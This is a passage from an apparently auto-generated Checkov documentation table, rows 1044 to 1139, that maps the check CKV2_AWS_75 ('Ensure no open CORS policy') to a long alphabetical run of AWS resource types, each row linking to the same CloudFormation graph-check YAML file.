[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1044 | CKV2_AWS_75 | resource | aws_location_route_calculator                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1045 | CKV2_AWS_75 | resource | aws_location_tracker                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1046 | CKV2_AWS_75 | resource | aws_location_tracker_association                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1047 | CKV2_AWS_75 | resource | aws_m2_application                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1048 | CKV2_AWS_75 | resource | aws_m2_deployment                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1049 | CKV2_AWS_75 | resource | aws_m2_environment                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1050 | CKV2_AWS_75 | resource | aws_macie2_account                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1051 | CKV2_AWS_75 | resource | aws_macie2_classification_export_configuration                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1052 | CKV2_AWS_75 | resource | aws_macie2_classification_job                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1053 | CKV2_AWS_75 | resource | aws_macie2_custom_data_identifier                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1054 | CKV2_AWS_75 | resource | aws_macie2_findings_filter                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1055 | CKV2_AWS_75 | resource | aws_macie2_invitation_accepter                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1056 | CKV2_AWS_75 | resource | aws_macie2_member                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1057 | CKV2_AWS_75 | resource | aws_macie2_organization_admin_account                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1058 | CKV2_AWS_75 | resource | aws_macie_member_account_association                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1059 | CKV2_AWS_75 | resource | aws_macie_s3_bucket_association                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1060 | CKV2_AWS_75 | resource | aws_main_route_table_association                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1061 | CKV2_AWS_75 | resource | aws_media_convert_queue                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1062 | CKV2_AWS_75 | resource | aws_media_package_channel                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1063 | CKV2_AWS_75 | resource | aws_media_packagev2_channel_group                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1064 | CKV2_AWS_75 | resource | aws_media_store_container                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1065 | CKV2_AWS_75 | resource | aws_media_store_container_policy                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1066 | CKV2_AWS_75 | resource | aws_medialive_channel                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1067 | CKV2_AWS_75 | resource | aws_medialive_input                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1068 | CKV2_AWS_75 | resource | aws_medialive_input_security_group                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1069 | CKV2_AWS_75 | resource | aws_medialive_multiplex                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1070 | CKV2_AWS_75 | resource | aws_medialive_multiplex_program                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1071 | CKV2_AWS_75 | resource | aws_memorydb_acl                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1072 | CKV2_AWS_75 | resource | aws_memorydb_cluster                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1073 | CKV2_AWS_75 | resource | aws_memorydb_multi_region_cluster                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1074 | CKV2_AWS_75 | resource | aws_memorydb_parameter_group                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1075 | CKV2_AWS_75 | resource | aws_memorydb_snapshot                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1076 | CKV2_AWS_75 | resource | aws_memorydb_subnet_group                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1077 | CKV2_AWS_75 | resource | aws_memorydb_user                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1078 | CKV2_AWS_75 | resource | aws_mq_broker                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1079 | CKV2_AWS_75 | resource | aws_mq_configuration                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1080 | CKV2_AWS_75 | resource | aws_msk_cluster                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1081 | CKV2_AWS_75 | resource | aws_msk_cluster_policy                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1082 | CKV2_AWS_75 | resource | aws_msk_configuration                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1083 | CKV2_AWS_75 | resource | aws_msk_replicator                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1084 | CKV2_AWS_75 | resource | aws_msk_scram_secret_association                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1085 | CKV2_AWS_75 | resource | aws_msk_serverless_cluster                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1086 | CKV2_AWS_75 | resource | aws_msk_single_scram_secret_association                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1087 | CKV2_AWS_75 | resource | aws_msk_vpc_connection                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1088 | CKV2_AWS_75 | resource | aws_mskconnect_connector                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1089 | CKV2_AWS_75 | resource | aws_mskconnect_custom_plugin                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1090 | CKV2_AWS_75 | resource | aws_mskconnect_worker_configuration                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1091 | CKV2_AWS_75 | resource | aws_mwaa_environment                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1092 | CKV2_AWS_75 | resource | aws_nat_gateway                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1093 | CKV2_AWS_75 | resource | aws_neptune_cluster                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1094 | CKV2_AWS_75 | resource | aws_neptune_cluster_endpoint                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1095 | CKV2_AWS_75 | resource | aws_neptune_cluster_instance                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1096 | CKV2_AWS_75 | resource | aws_neptune_cluster_parameter_group                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1097 | CKV2_AWS_75 | resource | aws_neptune_cluster_snapshot                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1098 | CKV2_AWS_75 | resource | aws_neptune_event_subscription                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1099 | CKV2_AWS_75 | resource | aws_neptune_global_cluster                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1100 | CKV2_AWS_75 | resource | aws_neptune_parameter_group                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1101 | CKV2_AWS_75 | resource | aws_neptune_subnet_group                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1102 | CKV2_AWS_75 | resource | aws_network_acl                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1103 | CKV2_AWS_75 | resource | aws_network_acl_association                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1104 | CKV2_AWS_75 | resource | aws_network_acl_rule                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1105 | CKV2_AWS_75 | resource | aws_network_interface                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1106 | CKV2_AWS_75 | resource | aws_network_interface_attachment                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1107 | CKV2_AWS_75 | resource | aws_network_interface_sg_attachment                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1108 | CKV2_AWS_75 | resource | aws_networkfirewall_firewall                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1109 | CKV2_AWS_75 | resource | aws_networkfirewall_firewall_policy                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1110 | CKV2_AWS_75 | resource | aws_networkfirewall_logging_configuration                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1111 | CKV2_AWS_75 | resource | aws_networkfirewall_resource_policy                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1112 | CKV2_AWS_75 | resource | aws_networkfirewall_rule_group                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1113 | CKV2_AWS_75 | resource | aws_networkfirewall_tls_inspection_configuration                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1114 | CKV2_AWS_75 | resource | aws_networkmanager_attachment_accepter                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1115 | CKV2_AWS_75 | resource | aws_networkmanager_connect_attachment                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1116 | CKV2_AWS_75 | resource | aws_networkmanager_connect_peer                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1117 | CKV2_AWS_75 | resource | aws_networkmanager_connection                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1118 | CKV2_AWS_75 | resource | aws_networkmanager_core_network                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1119 | CKV2_AWS_75 | resource | aws_networkmanager_core_network_policy_attachment                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1120 | CKV2_AWS_75 | resource | aws_networkmanager_customer_gateway_association                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1121 | CKV2_AWS_75 | resource | aws_networkmanager_device                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1122 | CKV2_AWS_75 | resource | aws_networkmanager_dx_gateway_attachment                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1123 | CKV2_AWS_75 | resource | aws_networkmanager_global_network                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1124 | CKV2_AWS_75 | resource | aws_networkmanager_link                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1125 | CKV2_AWS_75 | resource | aws_networkmanager_link_association                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1126 | CKV2_AWS_75 | resource | aws_networkmanager_site                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1127 | CKV2_AWS_75 | resource | aws_networkmanager_site_to_site_vpn_attachment                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1128 | CKV2_AWS_75 | resource | aws_networkmanager_transit_gateway_connect_peer_association      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1129 | CKV2_AWS_75 | resource | aws_networkmanager_transit_gateway_peering                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1130 | CKV2_AWS_75 | resource | aws_networkmanager_transit_gateway_registration                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1131 | CKV2_AWS_75 | resource | aws_networkmanager_transit_gateway_route_table_attachment        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1132 | CKV2_AWS_75 | resource | aws_networkmanager_vpc_attachment                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1133 | CKV2_AWS_75 | resource | aws_networkmonitor_monitor                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1134 | CKV2_AWS_75 | resource | aws_networkmonitor_probe                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1135 | CKV2_AWS_75 | resource | aws_oam_link                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1136 | CKV2_AWS_75 | resource | aws_oam_sink                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1137 | CKV2_AWS_75 | resource | aws_oam_sink_policy                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1138 | CKV2_AWS_75 | resource | aws_opensearch_authorize_vpc_endpoint_access                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1139 | CKV2_AWS_75 | resource | aws_opensearch_domain                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | 